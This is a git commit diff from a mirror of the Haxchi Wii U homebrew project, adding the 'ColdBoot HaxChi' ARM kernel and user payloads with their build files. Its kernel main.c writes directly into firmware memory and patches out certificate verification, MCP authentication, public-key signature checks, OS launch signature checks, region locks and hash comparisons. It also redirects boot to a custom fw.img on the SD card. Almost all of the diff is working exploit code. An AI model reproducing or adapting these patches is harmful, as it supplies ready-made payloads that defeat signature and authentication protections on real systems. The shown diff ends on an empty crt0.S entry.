mirror of
https://github.com/wiiu-env/haxchi.git
synced 2024-11-16 13:19:16 +01:00
CBHC (ColdBoot HaxChi) v1.0 now available! BE VERY CAREFUL AND ONLY USE IF YOU KNOW THE NORMAL HAXCHI WORKS FINE BEFORE INSTALLING THIS
updated main Haxchi to v2.3
This commit is contained in:
parent
50974331ce
commit
d29e796167
20
Build_CBHC.bat
Normal file
20
Build_CBHC.bat
Normal file
@ -0,0 +1,20 @@
|
||||
@echo off
|
||||
|
||||
cd installer
|
||||
mkdir data 2>/nul
|
||||
cd ../dsrom
|
||||
echo.
|
||||
echo Building DS ROMs
|
||||
echo.
|
||||
make clean
|
||||
make Windows_NT=1 CB=1
|
||||
|
||||
cd ../installer
|
||||
echo.
|
||||
echo Building WiiU Installer
|
||||
echo.
|
||||
make clean
|
||||
make CB=1
|
||||
|
||||
echo.
|
||||
pause
|
44
dsrom/CBHC/Makefile
Normal file
44
dsrom/CBHC/Makefile
Normal file
@ -0,0 +1,44 @@
|
||||
PATH := $(DEVKITPPC)/bin:$(PATH)
|
||||
PREFIX ?= powerpc-eabi-
|
||||
CC = $(PREFIX)gcc
|
||||
AS = $(PREFIX)gcc
|
||||
CFLAGS = -std=gnu89 -O3 -Wall -nostdinc -fno-builtin -I$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0/include -I$(DEVKITPPC)/powerpc-eabi/include
|
||||
ASFLAGS = -mregnames -x assembler-with-cpp
|
||||
LD = $(PREFIX)ld
|
||||
OBJCOPY = $(PREFIX)objcopy
|
||||
LDFLAGS=-Ttext 1808000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc
|
||||
OBJDUMP ?= $(PREFIX)objdump
|
||||
project := .
|
||||
root := $(CURDIR)
|
||||
build := $(root)/bin
|
||||
|
||||
FIRMWARE = 550
|
||||
|
||||
all: clean setup main
|
||||
|
||||
$(CURDIR)/payload/arm_kernel_bin.h: $(CURDIR)/payload/arm_user_bin.h
|
||||
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile
|
||||
@-mkdir -p $(CURDIR)/payload
|
||||
@cp -p $(CURDIR)/arm_kernel/arm_kernel_bin.h $@
|
||||
|
||||
$(CURDIR)/payload/arm_user_bin.h:
|
||||
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile
|
||||
@-mkdir -p $(CURDIR)/payload
|
||||
@cp -p $(CURDIR)/arm_user/arm_user_bin.h $@
|
||||
|
||||
setup:
|
||||
mkdir -p $(root)/bin/
|
||||
|
||||
main: $(CURDIR)/payload/arm_kernel_bin.h
|
||||
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c
|
||||
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
|
||||
cp -r $(root)/*.o $(build)
|
||||
rm $(root)/*.o
|
||||
$(LD) -o CBHC.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map CBHC.map
|
||||
$(OBJCOPY) CBHC.elf -S -O binary ../CBHC.bin
|
||||
|
||||
clean:
|
||||
rm -rf $(build) payload
|
||||
rm -rf CBHC.elf CBHC.map
|
||||
$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean
|
||||
$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean
|
2
dsrom/CBHC/README
Normal file
2
dsrom/CBHC/README
Normal file
@ -0,0 +1,2 @@
|
||||
This is a modified version of cfw booter which can be found here:
|
||||
https://github.com/dimok789/cfw_booter
|
71
dsrom/CBHC/arm_kernel/Makefile
Normal file
71
dsrom/CBHC/arm_kernel/Makefile
Normal file
@ -0,0 +1,71 @@
|
||||
ifeq ($(strip $(DEVKITARM)),)
|
||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||
endif
|
||||
|
||||
ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
|
||||
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
||||
endif
|
||||
|
||||
CC = arm-none-eabi-gcc
|
||||
# LINK = arm-none-eabi-gcc
|
||||
LINK = arm-none-eabi-ld
|
||||
AS = arm-none-eabi-as
|
||||
OBJCOPY = arm-none-eabi-objcopy
|
||||
CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include
|
||||
LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map
|
||||
|
||||
CFILES = $(wildcard source/*.c)
|
||||
BINFILES = $(wildcard data/*.bin)
|
||||
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
|
||||
OFILES += $(CFILES:source/%.c=build/%.o)
|
||||
DFILES = $(CFILES:source/%.c=build/%.d)
|
||||
SFILES = $(wildcard source/*.s)
|
||||
OFILES += $(SFILES:source/%.s=build/%.o)
|
||||
PROJECTNAME = ${shell basename "$(CURDIR)"}
|
||||
CWD = "$(CURDIR)""
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# canned command sequence for binary data, taken from devkitARM
|
||||
#---------------------------------------------------------------------------------
|
||||
define bin2o
|
||||
bin2s $< | $(AS) -o $(@)
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u32" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> source/`(echo $(<F) | tr . _)`.h
|
||||
endef
|
||||
|
||||
.PHONY:=all dirs
|
||||
|
||||
all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_bin.h
|
||||
|
||||
dirs:
|
||||
@mkdir -p build
|
||||
|
||||
$(PROJECTNAME).bin: $(PROJECTNAME).elf
|
||||
# $(OBJCOPY) -O binary $< $@
|
||||
$(OBJCOPY) -j .text -j .rodata -O binary $< $@
|
||||
|
||||
$(PROJECTNAME)_bin.h: $(PROJECTNAME).bin
|
||||
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@
|
||||
|
||||
$(PROJECTNAME).elf: $(OFILES)
|
||||
$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES))
|
||||
|
||||
clean:
|
||||
@rm -rf build
|
||||
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map
|
||||
@echo "all cleaned up !"
|
||||
|
||||
-include $(DFILES)
|
||||
|
||||
build/%.o: source/%.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.o: source/%.s
|
||||
$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.bin.o: data/%.bin
|
||||
@echo $(notdir $<)
|
||||
@$(bin2o)
|
18
dsrom/CBHC/arm_kernel/link.ld
Normal file
18
dsrom/CBHC/arm_kernel/link.ld
Normal file
@ -0,0 +1,18 @@
|
||||
OUTPUT_ARCH(arm)
|
||||
|
||||
MEMORY
|
||||
{
|
||||
RAMX (rx) : ORIGIN = 0x08134100, LENGTH = 0x000BF00
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
.text : ALIGN(0x100) {
|
||||
build/crt0.o(.init)
|
||||
*(.text)
|
||||
}
|
||||
.rodata : {
|
||||
*(.rodata*)
|
||||
}
|
||||
}
|
||||
|
12
dsrom/CBHC/arm_kernel/source/crt0.s
Normal file
12
dsrom/CBHC/arm_kernel/source/crt0.s
Normal file
@ -0,0 +1,12 @@
|
||||
.section ".init"
|
||||
.arm
|
||||
.align 4
|
||||
|
||||
.extern _main
|
||||
.type _main, %function
|
||||
|
||||
.extern memset
|
||||
.type memset, %function
|
||||
|
||||
_start:
|
||||
b _main
|
163
dsrom/CBHC/arm_kernel/source/main.c
Normal file
163
dsrom/CBHC/arm_kernel/source/main.c
Normal file
@ -0,0 +1,163 @@
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
#include "../../payload/arm_user_bin.h"
|
||||
|
||||
static const char repairData_set_fault_behavior[] = {
|
||||
0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00,
|
||||
0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02,
|
||||
0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D,
|
||||
};
|
||||
static const char repairData_set_panic_behavior[] = {
|
||||
0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70,
|
||||
0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00,
|
||||
0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4,
|
||||
0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94,
|
||||
0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E,
|
||||
0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00,
|
||||
0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00,
|
||||
};
|
||||
static const char repairData_usb_root_thread[] = {
|
||||
0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10,
|
||||
0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3,
|
||||
0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90,
|
||||
0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8,
|
||||
0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0,
|
||||
0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03,
|
||||
0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20,
|
||||
};
|
||||
|
||||
/* from smealum's iosuhax: must be placed at 0x05059938 */
|
||||
static const char os_launch_hook[] = {
|
||||
0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb,
|
||||
0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f,
|
||||
0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30,
|
||||
0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08,
|
||||
0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61,
|
||||
0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63,
|
||||
0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64,
|
||||
0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00,
|
||||
0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e,
|
||||
};
|
||||
|
||||
static const char sd_path[] = "/vol/sdcard";
|
||||
|
||||
static unsigned int __attribute__((noinline)) disable_mmu(void)
|
||||
{
|
||||
unsigned int control_register = 0;
|
||||
asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register));
|
||||
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA));
|
||||
return control_register;
|
||||
}
|
||||
|
||||
static void __attribute__((noinline)) restore_mmu(unsigned int control_register)
|
||||
{
|
||||
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register));
|
||||
}
|
||||
|
||||
int _main()
|
||||
{
|
||||
int(*disable_interrupts)() = (int(*)())0x0812E778;
|
||||
int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C;
|
||||
void(*invalidate_icache)() = (void(*)())0x0812DCF0;
|
||||
void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164;
|
||||
void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160;
|
||||
char* (*kernel_memcpy)(void*, void*, int) = (char*(*)(void*, void*, int))0x08131D04;
|
||||
|
||||
flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache
|
||||
|
||||
int level = disable_interrupts();
|
||||
|
||||
unsigned int control_register = disable_mmu();
|
||||
|
||||
/* Save the request handle so we can reply later */
|
||||
*(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18;
|
||||
|
||||
/* Patch kernel_error_handler to BX LR immediately */
|
||||
*(volatile u32*)0x08129A24 = 0xE12FFF1E;
|
||||
|
||||
void * pset_fault_behavior = (void*)0x081298BC;
|
||||
kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior));
|
||||
|
||||
void * pset_panic_behavior = (void*)0x081296E4;
|
||||
kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior));
|
||||
|
||||
void * pusb_root_thread = (void*)0x10100174;
|
||||
kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread));
|
||||
|
||||
void * pUserBinSource = (void*)0x01E50000;
|
||||
void * pUserBinDest = (void*)0x101312D0;
|
||||
kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin));
|
||||
|
||||
// fix 10 minute timeout that crashes MCP after 10 minutes of booting
|
||||
*(volatile u32*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT
|
||||
|
||||
// patch cached cert check
|
||||
*(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, 0
|
||||
*(volatile u32*)(0x05054D70 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr
|
||||
|
||||
// patch cert verification
|
||||
*(volatile u32*)(0x05052A90 - 0x05000000 + 0x081C0000) = 0xe3a00000; // mov r0, #0
|
||||
*(volatile u32*)(0x05052A94 - 0x05000000 + 0x081C0000) = 0xe12fff1e; // bx lr
|
||||
|
||||
// patch MCP authentication check
|
||||
*(volatile u32*)(0x05014CAC - 0x05000000 + 0x081C0000) = 0x20004770; // mov r0, #0; bx lr
|
||||
|
||||
// patch IOSC_VerifyPubkeySign to always succeed
|
||||
*(volatile u32*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0
|
||||
*(volatile u32*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr
|
||||
|
||||
// patch OS launch sig check
|
||||
*(volatile u32*)(0x0500A818 - 0x05000000 + 0x081C0000) = 0x20002000; // mov r0, #0; mov r0, #0
|
||||
|
||||
// patch default title id
|
||||
*(volatile u32*)(0x050B817C - 0x05074000 + 0x08234000) = *(volatile u32*)0x01E70100;
|
||||
*(volatile u32*)(0x050B8180 - 0x05074000 + 0x08234000) = *(volatile u32*)0x01E70104;
|
||||
|
||||
// allow custom bootLogoTex and bootMovie.h264
|
||||
*(volatile u32*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
||||
*(volatile u32*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
||||
|
||||
// allow any region title launch
|
||||
*(volatile u32*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
||||
|
||||
// nop out memcmp hash checks
|
||||
*(volatile u32*)(0x040017E0 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0
|
||||
*(volatile u32*)(0x040019C4 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0
|
||||
*(volatile u32*)(0x04001BB0 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0
|
||||
*(volatile u32*)(0x04001D40 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0
|
||||
|
||||
//custom fw.img reboot
|
||||
if(*(volatile u32*)0x01E70120 == 1)
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < 32; i++)
|
||||
if (i < 11)
|
||||
((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = sd_path[i];
|
||||
else
|
||||
((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = (char)0;
|
||||
|
||||
*(volatile u32*)(0x050282AE - 0x05000000 + 0x081C0000) = 0xF031FB43; // bl launch_os_hook
|
||||
|
||||
for (i = 0; i < sizeof(os_launch_hook); i++)
|
||||
((char*)(0x05059938 - 0x05000000 + 0x081C0000))[i] = os_launch_hook[i];
|
||||
|
||||
// change system.xml to syshax.xml
|
||||
*(volatile u32*)(0x050600F0 - 0x05060000 + 0x08220000) = 0x79736861; //ysha
|
||||
*(volatile u32*)(0x050600F4 - 0x05060000 + 0x08220000) = 0x782E786D; //x.xm
|
||||
|
||||
*(volatile u32*)(0x05060114 - 0x05060000 + 0x08220000) = 0x79736861; //ysha
|
||||
*(volatile u32*)(0x05060118 - 0x05060000 + 0x08220000) = 0x782E786D; //x.xm
|
||||
}
|
||||
|
||||
*(volatile u32*)(0x1555500) = 0;
|
||||
|
||||
/* REENABLE MMU */
|
||||
restore_mmu(control_register);
|
||||
|
||||
invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache
|
||||
invalidate_icache();
|
||||
|
||||
enable_interrupts(level);
|
||||
|
||||
return 0;
|
||||
}
|
16
dsrom/CBHC/arm_kernel/source/types.h
Normal file
16
dsrom/CBHC/arm_kernel/source/types.h
Normal file
@ -0,0 +1,16 @@
|
||||
#ifndef _TYPES_H
|
||||
#define _TYPES_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef uint16_t u16;
|
||||
typedef uint32_t u32;
|
||||
typedef uint64_t u64;
|
||||
|
||||
typedef int8_t s8;
|
||||
typedef int16_t s16;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t s64;
|
||||
|
||||
#endif
|
25
dsrom/CBHC/arm_kernel/source/utils.c
Normal file
25
dsrom/CBHC/arm_kernel/source/utils.c
Normal file
@ -0,0 +1,25 @@
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len)
|
||||
{
|
||||
const unsigned char *src_ptr = (const unsigned char *)src;
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
|
||||
while(len)
|
||||
{
|
||||
*dst_ptr++ = *src_ptr++;
|
||||
--len;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
void* m_memset(void *dst, int val, unsigned int bytes)
|
||||
{
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
unsigned int i = 0;
|
||||
while(i < bytes)
|
||||
{
|
||||
dst_ptr[i] = val;
|
||||
++i;
|
||||
}
|
||||
return dst;
|
||||
}
|
7
dsrom/CBHC/arm_kernel/source/utils.h
Normal file
7
dsrom/CBHC/arm_kernel/source/utils.h
Normal file
@ -0,0 +1,7 @@
|
||||
#ifndef _UTILS_H_
|
||||
#define _UTILS_H_
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len);
|
||||
void* m_memset(void *dst, int val, unsigned int len);
|
||||
|
||||
#endif
|
71
dsrom/CBHC/arm_user/Makefile
Normal file
71
dsrom/CBHC/arm_user/Makefile
Normal file
@ -0,0 +1,71 @@
|
||||
ifeq ($(strip $(DEVKITARM)),)
|
||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||
endif
|
||||
|
||||
ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
|
||||
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
||||
endif
|
||||
|
||||
CC = arm-none-eabi-gcc
|
||||
# LINK = arm-none-eabi-gcc
|
||||
LINK = arm-none-eabi-ld
|
||||
AS = arm-none-eabi-as
|
||||
OBJCOPY = arm-none-eabi-objcopy
|
||||
CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include
|
||||
LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map
|
||||
|
||||
CFILES = $(wildcard source/*.c)
|
||||
BINFILES = $(wildcard data/*.bin)
|
||||
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
|
||||
OFILES += $(CFILES:source/%.c=build/%.o)
|
||||
DFILES = $(CFILES:source/%.c=build/%.d)
|
||||
SFILES = $(wildcard source/*.s)
|
||||
OFILES += $(SFILES:source/%.s=build/%.o)
|
||||
PROJECTNAME = ${shell basename "$(CURDIR)"}
|
||||
CWD = "$(CURDIR)""
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# canned command sequence for binary data, taken from devkitARM
|
||||
#---------------------------------------------------------------------------------
|
||||
define bin2o
|
||||
bin2s $< | $(AS) -o $(@)
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u32" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> source/`(echo $(<F) | tr . _)`.h
|
||||
endef
|
||||
|
||||
.PHONY:=all dirs
|
||||
|
||||
all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_bin.h
|
||||
|
||||
dirs:
|
||||
@mkdir -p build
|
||||
|
||||
$(PROJECTNAME).bin: $(PROJECTNAME).elf
|
||||
# $(OBJCOPY) -O binary $< $@
|
||||
$(OBJCOPY) -j .text -j .rodata -O binary $< $@
|
||||
|
||||
$(PROJECTNAME)_bin.h: $(PROJECTNAME).bin
|
||||
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@
|
||||
|
||||
$(PROJECTNAME).elf: $(OFILES)
|
||||
$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES))
|
||||
|
||||
clean:
|
||||
@rm -rf build
|
||||
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map
|
||||
@echo "all cleaned up !"
|
||||
|
||||
-include $(DFILES)
|
||||
|
||||
build/%.o: source/%.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.o: source/%.s
|
||||
$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.bin.o: data/%.bin
|
||||
@echo $(notdir $<)
|
||||
@$(bin2o)
|
18
dsrom/CBHC/arm_user/link.ld
Normal file
18
dsrom/CBHC/arm_user/link.ld
Normal file
@ -0,0 +1,18 @@
|
||||
OUTPUT_ARCH(arm)
|
||||
|
||||
MEMORY
|
||||
{
|
||||
RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
.text : ALIGN(0x04) {
|
||||
build/crt0.o(.init)
|
||||
*(.text)
|
||||
}
|
||||
.rodata : {
|
||||
*(.rodata*)
|
||||
}
|
||||
}
|
||||
|
20
dsrom/CBHC/arm_user/source/crt0.s
Normal file
20
dsrom/CBHC/arm_user/source/crt0.s
Normal file
@ -0,0 +1,20 @@
|
||||
.section ".init"
|
||||
.arm
|
||||
.align 4
|
||||
|
||||
.extern _main
|
||||
.type _main, %function
|
||||
|
||||
.extern memset
|
||||
.type memset, %function
|
||||
|
||||
_start:
|
||||
b _main
|
||||
|
||||
.global IOS_DCFlushAllCache
|
||||
IOS_DCFlushAllCache:
|
||||
MOV R15, R0
|
||||
clean_loop:
|
||||
MRC p15, 0, r15, c7, c10, 3
|
||||
BNE clean_loop
|
||||
MCR p15, 0, R0, c7, c10, 4
|
30
dsrom/CBHC/arm_user/source/main.c
Normal file
30
dsrom/CBHC/arm_user/source/main.c
Normal file
@ -0,0 +1,30 @@
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
|
||||
|
||||
void _main()
|
||||
{
|
||||
|
||||
void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C;
|
||||
|
||||
int(*reply)(int, int) = (int(*)(int, int))0x1012ED04;
|
||||
|
||||
int saved_handle = *(volatile u32*)0x01E10000;
|
||||
int myret = reply(saved_handle, 0);
|
||||
if (myret != 0)
|
||||
ios_shutdown(1);
|
||||
|
||||
// stack pointer will be 0x1016AE30
|
||||
// link register will be 0x1012EACC
|
||||
asm("LDR SP, newsp\n"
|
||||
"LDR R0, newr0\n"
|
||||
"LDR LR, newlr\n"
|
||||
"LDR PC, newpc\n"
|
||||
"newsp: .word 0x1016AE30\n"
|
||||
"newlr: .word 0x1012EACC\n"
|
||||
"newr0: .word 0x10146080\n"
|
||||
"newpc: .word 0x10111164\n");
|
||||
|
||||
|
||||
|
||||
}
|
16
dsrom/CBHC/arm_user/source/types.h
Normal file
16
dsrom/CBHC/arm_user/source/types.h
Normal file
@ -0,0 +1,16 @@
|
||||
#ifndef _TYPES_H
|
||||
#define _TYPES_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef uint16_t u16;
|
||||
typedef uint32_t u32;
|
||||
typedef uint64_t u64;
|
||||
|
||||
typedef int8_t s8;
|
||||
typedef int16_t s16;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t s64;
|
||||
|
||||
#endif
|
25
dsrom/CBHC/arm_user/source/utils.c
Normal file
25
dsrom/CBHC/arm_user/source/utils.c
Normal file
@ -0,0 +1,25 @@
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len)
|
||||
{
|
||||
const unsigned char *src_ptr = (const unsigned char *)src;
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
|
||||
while(len)
|
||||
{
|
||||
*dst_ptr++ = *src_ptr++;
|
||||
--len;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
void* m_memset(void *dst, int val, unsigned int bytes)
|
||||
{
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
unsigned int i = 0;
|
||||
while(i < bytes)
|
||||
{
|
||||
dst_ptr[i] = val;
|
||||
++i;
|
||||
}
|
||||
return dst;
|
||||
}
|
7
dsrom/CBHC/arm_user/source/utils.h
Normal file
7
dsrom/CBHC/arm_user/source/utils.h
Normal file
@ -0,0 +1,7 @@
|
||||
#ifndef _UTILS_H_
|
||||
#define _UTILS_H_
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len);
|
||||
void* m_memset(void *dst, int val, unsigned int len);
|
||||
|
||||
#endif
|
31
dsrom/CBHC/coreinit.h
Normal file
31
dsrom/CBHC/coreinit.h
Normal file
@ -0,0 +1,31 @@
|
||||
//Taken from libwiius coreinit.h
|
||||
|
||||
#ifndef COREINIT_H
|
||||
#define COREINIT_H
|
||||
|
||||
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4)
|
||||
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828)
|
||||
#define OSFatal ((void (*)(char* msg))0x01031618)
|
||||
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160)
|
||||
|
||||
typedef struct OSContext
|
||||
{
|
||||
/* OSContext identifier */
|
||||
uint32_t tag1;
|
||||
uint32_t tag2;
|
||||
|
||||
/* GPRs */
|
||||
uint32_t gpr[32];
|
||||
|
||||
/* Special registers */
|
||||
uint32_t cr;
|
||||
uint32_t lr;
|
||||
uint32_t ctr;
|
||||
uint32_t xer;
|
||||
|
||||
/* Initial PC and MSR */
|
||||
uint32_t srr0;
|
||||
uint32_t srr1;
|
||||
} OSContext;
|
||||
|
||||
#endif /* COREINIT_H */
|
9
dsrom/CBHC/crt0.S
Normal file
9
dsrom/CBHC/crt0.S
Normal file
